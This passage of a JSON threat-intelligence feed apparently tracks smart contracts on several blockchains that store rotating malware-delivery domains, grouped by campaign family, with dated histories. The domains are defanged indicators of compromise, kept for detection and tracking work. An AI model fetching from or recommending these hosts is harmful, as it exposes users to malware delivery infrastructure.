testnet","family":"chainbite","address":"0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"glcdn[.]githack[.]com"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-21","destination":"fastly[.]jsdelivr[.]net"},{"lastSeen":"2026-10-21","firstSeen":"2026-09-22","destination":"testingcf[.]jsdelivr[.]net"},{"lastSeen":"2026-09-22","firstSeen":"2026-09-08","destination":"cdn[.]jsdelivr[.]net"},{"lastSeen":"2026-09-08","firstSeen":"2026-09-06","destination":"raw[.]githubusercontent[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-06","lastChanged":"2026-10-29","destinations":["glcdn[.]githack[.]com"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x4a0e8ac014cafcb0aff9e90f68d6c0e0c031360d","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"glcdn[.]githack[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-21","destination":"fastly[.]jsdelivr[.]net"},{"lastSeen":"2026-10-21","firstSeen":"2026-09-07","destination":"cdn[.]jsdelivr[.]net"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-07","lastChanged":"2026-11-04","destinations":["glcdn[.]githack[.]com"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x67E496c293d991c684A04F569d6144eAa78d3a40","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-11-01","lastChanged":"2026-11-01","destinations":[]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"bossbeyservice[.]click"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"bossbeymega[.]click"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"emyebssobkcilc[.]ag"},{"lastSeen":"2026-11-03","firstSeen":"2026-11-02","destination":"lbtnegrumoc[.]eu"},{"lastSeen":"2026-11-03","firstSeen":"2026-11-02","destination":"urgentblue[.]com"},{"lastSeen":"2026-11-02","firstSeen":"2026-11-01","destination":"wiro88[.]it[.]com"},{"lastSeen":"2026-11-01","firstSeen":"2026-11-01","destination":"slavyera[.]com"},{"lastSeen":"2026-11-01","firstSeen":"2026-10-31","destination":"enfejar[.]casino"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-31","destination":"bossbeycity[.]click"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-31","destination":"icyebssobkcilc[.]yt"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-30","destination":"forbesae[.]com"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-30","destination":"exploreargentina[.]tours"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-29","destination":"bossbeyagency[.]click"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-29","destination":"bossbey30[.]click"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-27","destination":"epexecutivecoaching[.]com"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-27","destination":"ihcaocevitucexepemoc[.]gn"},{"lastSeen":"2026-10-27","firstSeen":"2026-10-26","destination":"bet212[.]live"},{"lastSeen":"2026-10-26","firstSeen":"2026-10-25","destination":"eromeofficial[.]us"},{"lastSeen":"2026-10-26","firstSeen":"2026-10-25","destination":"iciffoemoresu[.]la"},{"lastSeen":"2026-10-25","firstSeen":"2026-10-24","destination":"deurnenwinkel[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-11","lastChanged":"2026-11-04","destinations":["bossbeyservice[.]click"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x80d31D935f0EC978253A26D48B5593599B9542C7","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-11-01","lastChanged":"2026-11-01","destinations":[]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x886d310ac23e05ea705e24e513d19f53793832a9","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-13","lastChanged":"2026-10-13","destinations":[]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x9e33a3979f74c7700e4baa7e7a2934556f72ef96","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"likingdropout[.]site"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["likingdropout[.]site"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0xA1decFB75C8C0CA28C10517ce56B710baf727d2e","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"bossbeyservice[.]click"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"bossbeymega[.]click"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"emyebssobkcilc[.]ag"},{"lastSeen":"2026-11-03","firstSeen":"2026-11-02","destination":"lbtnegrumoc[.]eu"},{"lastSeen":"2026-11-03","firstSeen":"2026-11-02","destination":"urgentblue[.]com"},{"lastSeen":"2026-11-02","firstSeen":"2026-11-01","destination":"wiro88[.]it[.]com"},{"lastSeen":"2026-11-01","firstSeen":"2026-11-01","destination":"slavyera[.]com"},{"lastSeen":"2026-11-01","firstSeen":"2026-10-31","destination":"enfejar[.]casino"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-31","destination":"bossbeycity[.]click"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-31","destination":"icyebssobkcilc[.]yt"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-30","destination":"forbesae[.]com"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-30","destination":"exploreargentina[.]tours"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-29","destination":"bossbeyagency[.]click"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-29","destination":"bossbey30[.]click"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"glcdn[.]githack[.]com"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-27","destination":"epexecutivecoaching[.]com"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-27","destination":"ihcaocevitucexepemoc[.]gn"},{"lastSeen":"2026-10-27","firstSeen":"2026-10-26","destination":"bet212[.]live"},{"lastSeen":"2026-10-26","firstSeen":"2026-10-25","destination":"eromeofficial[.]us"},{"lastSeen":"2026-10-26","firstSeen":"2026-10-25","destination":"iciffoemoresu[.]la"}],"lastRead":"2026-11-04","nextHops":["0x46790e2ac7f3ca5a7d1bfce312d11e91d23383ff","0x68dce15c1002a2689e19d33a3ae509dd1feb11a5"],"firstSeen":"2026-10-13","lastChanged":"2026-11-04","destinations":["bossbeyservice[.]click","glcdn[.]githack[.]com"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F","chainId":97,"history":[{"lastSeen":"2026-10-31","firstSeen":"2026-09-01","destination":"cdn[.]jsdelivr[.]net"},{"lastSeen":"2026-10-31","firstSeen":"2026-09-01","destination":"gut--drops[.]com"}],"lastRead":"2026-10-31","nextHops":["0x0cd58060328e308a43d3c53cfd03a45233ea308a","0xfb6484dc6cbe8af83e940e08748b7de88b17cb64"],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["cdn[.]jsdelivr[.]net","gut--drops[.]com"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0xe75744c53ec0914fe9be92847019d3d7122b6b77","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"glcdn[.]githack[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"hasir[.]store"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"bossbeyprimeclub[.]click"},{"lastSeen":"2026-11-03","firstSeen":"2026-11-01","destination":"bossbeylegend[.]click"},{"lastSeen":"2026-11-01","firstSeen":"2026-11-01","destination":"bossbeyking[.]click"},{"lastSeen":"2026-11-01","firstSeen":"2026-11-01","destination":"bossbeyhub[.]click"},{"lastSeen":"2026-11-01","firstSeen":"2026-11-01","destination":"bossbeyhouse[.]click"},{"lastSeen":"2026-11-01","firstSeen":"2026-10-31","destination":"bittu[.]store"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-30","destination":"bossbey1[.]click"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-29","destination":"bossbey13[.]click"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-28","destination":"mon-iam-espace-esa-lia[.]online"},{"lastSeen":"2026-10-28","firstSeen":"2026-10-27","destination":"georgelounge[.]bar"},{"lastSeen":"2026-10-27","firstSeen":"2026-10-26","destination":"eromeofficial[.]us"},{"lastSeen":"2026-10-26","firstSeen":"2026-10-25","destination":"pooker[.]app"},{"lastSeen":"2026-10-25","firstSeen":"2026-10-24","destination":"enfejbaaz[.]bet"},{"lastSeen":"2026-10-24","firstSeen":"2026-10-22","destination":"alldez[.]nl"},{"lastSeen":"2026-10-22","firstSeen":"2026-10-21","destination":"blinderai[.]com"},{"lastSeen":"2026-10-22","firstSeen":"2026-10-21","destination":"fastly[.]jsdelivr[.]net"},{"lastSeen":"2026-10-21","firstSeen":"2026-10-20","destination":"lihannaowenzaus[.]fit"},{"lastSeen":"2026-10-20","firstSeen":"2026-10-19","destination":"bociljp[.]info"}],"lastRead":"2026-11-04","nextHops":["0x0f14777c78d402bed55a67a6eb55dc87cc0b050a","0x4a0e8ac014cafcb0aff9e90f68d6c0e0c031360d"],"firstSeen":"2026-10-19","lastChanged":"2026-11-04","destinations":["glcdn[.]githack[.]com","hasir[.]store"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0xf4a32588b50a59a82fba148d436081a48d80832a","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-11-04","lastChanged":"2026-11-04","destinations":[]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0xfb6484dC6cbE8af83E940e08748B7DE88b17cB64","chainId":97,"history":[{"lastSeen":"2026-10-31","firstSeen":"2026-09-01","destination":"gut--drops[.]com"}],"lastRead":"2026-10-31","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["gut--drops[.]com"]},{"chain":"Ethereum Sepolia","family":"chainbite","address":"0x0Aa9996FbB680f6F80fd65EB5548F8b8B4F7c4De","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"193-233-126-53[.]sslip[.]io"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"193-233-82-248[.]sslip[.]io"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["193-233-126-53[.]sslip[.]io","193-233-82-248[.]sslip[.]io"]},{"chain":"Ethereum Sepolia","family":"chainbite","address":"0x0EB267784DA2c37fF5b09238C369a8E8d23C9b46","chainId":11155111,"history":[],"lastRead":"2026-11-04","nextHops":["0x0aa9996fbb680f6f80fd65eb5548f8b8b4f7c4de"],"firstSeen":"2026-10-31","lastChanged":"2026-10-31","destinations":[]},{"chain":"BNB Smart Chain","family":"clearshort","address":"0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F","chainId":56,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"qbsad[.]pages[.]dev"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-22","lastChanged":"2026-09-22","destinations":["qbsad[.]pages[.]dev"]},{"chain":"BNB Smart Chain","family":"clearshort","address":"0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA","chainId":56,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"mysite2-1iz[.]pages[.]dev"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-22","lastChanged":"2026-09-22","destinations":["mysite2-1iz[.]pages[.]dev"]},{"chain":"BNB Smart Chain","family":"clearshort","address":"0x8FBA1667BEF5EdA433928b220886A830488549BD","chainId":56,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"hfdjmoedkjf[.]asia"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"mysite2-1iz[.]pages[.]dev"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-22","lastChanged":"2026-09-22","destinations":["hfdjmoedkjf[.]asia","mysite2-1iz[.]pages[.]dev"]},{"chain":"BNB Smart Chain","family":"clearshort","address":"0x8f386ac6050b21af0e34864eabf0308f89c6f13c","chainId":56,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"qbsad[.]pages[.]dev"}],"lastRead":"2026-11-04","nextHops":["0xd210e8a9f22bc5b4c9b3982ed1c2e702d66a8a5e"],"firstSeen":"2026-09-22","lastChanged":"2026-09-22","destinations":["qbsad[.]pages[.]dev"]},{"chain":"BNB Smart Chain","family":"clearshort","address":"0x9179dda8b285040bf381aabb8a1f4a1b8c37ed53","chainId":56,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"hfdjmoedkjf[.]asia"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"mysite2-1iz[.]pages[.]dev"}],"lastRead":"2026-11-04","nextHops":["0x8fba1667bef5eda433928b220886a830488549bd"],"firstSeen":"2026-09-22","lastChanged":"2026-09-22","destinations":["hfdjmoedkjf[.]asia","mysite2-1iz[.]pages[.]dev"]},{"chain":"BNB Smart Chain","family":"clearshort","address":"0xa6165aa33ac710ad5dcd4f4d6379466825476fde","chainId":56,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-31","destination":"dareka4te[.]shop"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-31","lastChanged":"2026-10-31","destinations":["dareka4te[.]shop"]},{"chain":"BNB Smart Chain","family":"clearshort","address":"0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E","chainId":56,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"qbsad[.]pages[.]dev"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-22","lastChanged":"2026-09-22","destinations":["qbsad[.]pages[.]dev"]},{"chain":"BNB Smart Chain","family":"clearshort","address":"0xdf20921ea432318dd5906132edbc0c20353f72d6","chainId":56,"history":[],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-11","lastChanged":"2026-10-11","destinations":[]},{"chain":"Ethereum","family":"cookiedam","address":"0xd3b72fd8acfe7ddff21de37bee562df2fa32e287","chainId":1,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"clou-dprotect[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["clou-dprotect[.]com"]},{"chain":"BNB Smart Chain testnet","family":"doubledonut","address":"0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-02","destination":"tdssecure[.]beer"},{"lastSeen":"2026-11-02","firstSeen":"2026-10-22","destination":"securetds[.]beer"},{"lastSeen":"2026-10-22","firstSeen":"2026-10-18","destination":"td910240s[.]com"},{"lastSeen":"2026-10-18","firstSeen":"2026-10-14","destination":"debiandelivr[.]com"},{"lastSeen":"2026-10-14","firstSeen":"2026-10-10","destination":"testdelivrsys31523[.]com"},{"lastSeen":"2026-10-10","firstSeen":"2026-10-04","destination":"simpletdsystem[.]com"},{"lastSeen":"2026-10-04","firstSeen":"2026-09-04","destination":"mytds1029380[.]com"},{"lastSeen":"2026-09-04","firstSeen":"2026-09-01","destination":"dntds[.]shop"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-11-02","destinations":["tdssecure[.]beer"]},{"chain":"BNB Smart Chain testnet","family":"doubledonut","address":"0xFB448D465841C63F3bC433be61Eb692b813D469d","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-02","destination":"tdssecure[.]beer"},{"lastSeen":"2026-11-02","firstSeen":"2026-10-22","destination":"securetds[.]beer"},{"lastSeen":"2026-10-22","firstSeen":"2026-10-18","destination":"td910240s[.]com"},{"lastSeen":"2026-10-18","firstSeen":"2026-10-14","destination":"debiandelivr[.]com"},{"lastSeen":"2026-10-14","firstSeen":"2026-10-12","destination":"testdelivrsys31523[.]com"},{"lastSeen":"2026-10-12","firstSeen":"2026-10-04","destination":"simpletdsystem[.]com"},{"lastSeen":"2026-10-04","firstSeen":"2026-10-03","destination":"simpletdsenterprise[.]com"},{"lastSeen":"2026-10-03","firstSeen":"2026-09-04","destination":"mytds1029380[.]com"},{"lastSeen":"2026-09-04","firstSeen":"2026-09-01","destination":"dntds[.]shop"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-11-02","destinations":["tdssecure[.]beer"]},{"chain":"Polygon","family":"drivesurge","address":"0x00b93a2d96f12e7c1cd050c60d5380ab9d5335c7","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-15","destination":"ingestdot[.]net"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-15","destination":"statpipeplus[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-15","destination":"tracewaytech[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-15","lastChanged":"2026-09-15","destinations":["ingestdot[.]net","statpipeplus[.]com","tracewaytech[.]com"]},{"chain":"Polygon","family":"drivesurge","address":"0x3ccb3471eeaf1d11e036e6c8dd2c82089f8bf1df","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-17","destination":"accountvaulthub[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-17","destination":"ssoinfolink[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-17","destination":"traceropszone[.]net"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-17","lastChanged":"2026-09-17","destinations":["accountvaulthub[.]com","ssoinfolink[.]com","traceropszone[.]net"]},{"chain":"Polygon","family":"drivesurge","address":"0x3d00acc2e1cfa18edef8af4320af3f1654b46648","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"heartbeatpipe[.]net"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"metricsfeedware[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"pixelsoftzone[.]net"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-22","lastChanged":"2026-09-22","destinations":["heartbeatpipe[.]net","metricsfeedware[.]com","pixelsoftzone[.]net"]},{"chain":"Polygon","family":"drivesurge","address":"0x4f99a81e59311768e786de5d1c58ac6d354c649d","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-12","destination":"collectortimetech[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-12","destination":"feedspanone[.]net"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-12","destination":"logbasesky[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-12","lastChanged":"2026-09-12","destinations":["collectortimetech[.]com","feedspanone[.]net","logbasesky[.]com"]},{"chain":"Polygon","family":"drivesurge","address":"0x6118b7621792903be1c300931fcf15b5ffd3c569","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-25","destination":"beastmodeactivation[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-25","destination":"guidexpertmulti[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-25","destination":"perfectsunmars[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-25","lastChanged":"2026-09-25","destinations":["beastmodeactivation[.]com","guidexpertmulti[.]com","perfectsunmars[.]com"]},{"chain":"Polygon","family":"drivesurge","address":"0x699a65c477e684f38c4e811b60f5a8951f1a61bd","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-01","destination":"assetsstacktech[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-01","destination":"servicehubsys[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-01","lastChanged":"2026-10-01","destinations":["assetsstacktech[.]com","servicehubsys[.]com"]},{"chain":"Polygon","family":"drivesurge","address":"0x72f66c860aea2430da124d2dfa893ea4b8905a30","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-03","destination":"prefstrack[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-03","destination":"settingstools[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-03","lastChanged":"2026-10-03","destinations":["prefstrack[.]com","settingstools[.]com"]},{"chain":"Polygon","family":"drivesurge","address":"0x88411e5440e1482f0abcb5212daeab28cf3332c1","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-18","destination":"accountsensepro[.]net"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-18","destination":"oauthapp[.]net"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-18","destination":"reportsnapbit[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-18","lastChanged":"2026-09-18","destinations":["accountsensepro[.]net","oauthapp[.]net","reportsnapbit[.]com"]},{"chain":"Polygon","family":"drivesurge","address":"0xb90658783fda2e726c5756f94a461291c0cef691","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-15","destination":"netweblabs[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-15","destination":"pluginyardware[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-15","destination":"thumbinfo[.]net"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-15","lastChanged":"2026-09-15","destinations":["netweblabs[.]com","pluginyardware[.]com","thumbinfo[.]net"]},{"chain":"Polygon","family":"drivesurge","address":"0xd0842699e9e201bce4879a0a9d241c96117ebb08","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-24","destination":"collectlabsworks[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-24","destination":"runtimeringnow[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-24","destination":"tracerwiresoft[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-24","lastChanged":"2026-09-24","destinations":["collectlabsworks[.]com","runtimeringnow[.]com","tracerwiresoft[.]com"]},{"chain":"Polygon","family":"drivesurge","address":"0xf20221c0cf767eee759bbe1fb8dd76eaef0e5779","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-27","destination":"analyticroutebox[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-27","destination":"eventwireix[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-27","destination":"metricserveonline[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-27","lastChanged":"2026-09-27","destinations":["analyticroutebox[.]com","eventwireix[.]com","metricserveonline[.]com"]},{"chain":"Polygon","family":"envelopedam","address":"0x6300d82A6e2fabbd165E1833d95E87bD46B38D4A","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"sentrydb[.]org"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["sentrydb[.]org"]},{"chain":"Polygon","family":"envelopedam","address":"0x951773066832ba967b3b884538a3a562b5c600d6","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-15","destination":"domainpanel[.]world"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-15","lastChanged":"2026-09-15","destinations":["domainpanel[.]world"]},{"chain":"Base","family":"filedrop","address":"0x4359890055dc647118fc7c5b0082eabd757c40c8","chainId":8453,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-10","destination":"ficoso[.]click"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-10","lastChanged":"2026-09-10","destinations":["ficoso[.]click"]},{"chain":"Base","family":"filedrop","address":"0xe55b08dced66b6bf99924ec18c2b476bb9df40fb","chainId":8453,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-28","destination":"secure-link[.]club"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-28","lastChanged":"2026-10-28","destinations":["secure-link[.]club"]},{"chain":"Ethereum Sepolia","family":"gzipgnaw","address":"0x0321C73150543FAa9D016c9c46Abf293Eb6839e4","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-25","destination":"zvh4[.]com"},{"lastSeen":"2026-09-25","firstSeen":"2026-09-04","destination":"xaz2[.]com"},{"lastSeen":"2026-09-04","firstSeen":"2026-09-02","destination":"qaz6[.]com"},{"lastSeen":"2026-09-02","firstSeen":"2026-09-01","destination":"qaz4[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-25","destinations":["zvh4[.]com"]},{"chain":"Ethereum Sepolia","family":"gzipgnaw","address":"0xd6Cc368F8b2C62b781Dc8407EB1c9eDE74949fA8","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-26","destination":"zvh3[.]com"},{"lastSeen":"2026-09-26","firstSeen":"2026-09-02","destination":"qaz0[.]com"},{"lastSeen":"2026-09-02","firstSeen":"2026-09-01","destination":"fgx9[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-26","destinations":["zvh3[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x04141d92BaA052a778dD86cCcC1287D870a2A06C","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"stylerunningg[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["stylerunningg[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x0f57ecf9c92ff364bd30aa64f4c916c458b0e70e","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-09","destination":"marblehabit[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-09","lastChanged":"2026-09-09","destinations":["marblehabit[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x10ef316107c7a499b8b1f28a05cd858f49c0bae9","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-09","destination":"wildreceipt[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-09","lastChanged":"2026-09-09","destinations":["wildreceipt[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x1bfb4a0d7e1b8c552f0173c94b976fad2b4f0bc6","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"morrowwillow[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-11-03","lastChanged":"2026-11-03","destinations":["morrowwillow[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x28b7605be52b7107cd7710f6f855a1a026e72f4a","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"nightflamevortex[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["nightflamevortex[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x3ad4d35f9b6f306792add1127a397b8824400bbc","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"stormwraith[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["stormwraith[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x3b14187b76dc39005e8d568b26455d53bd198749","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ironphantomcore[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["ironphantomcore[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x4b6170a49090fae965527e222515c2224fe73dd5","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"voidwalkerforge[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["voidwalkerforge[.]top"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x4dbdca7277427edee4d5b4e3d012bca73aefadf1","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"voderlence[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["voderlence[.]com"]},{"chain":"Ethereum Sepolia","family":"hexmage","address":"0x50b9acc5a99b28117428e143b6eed6d36a703395","chainId":11155111,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"shadowmatrixpls[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["shadowmatrixpls[.]top"]},{"chain":"Ethereum 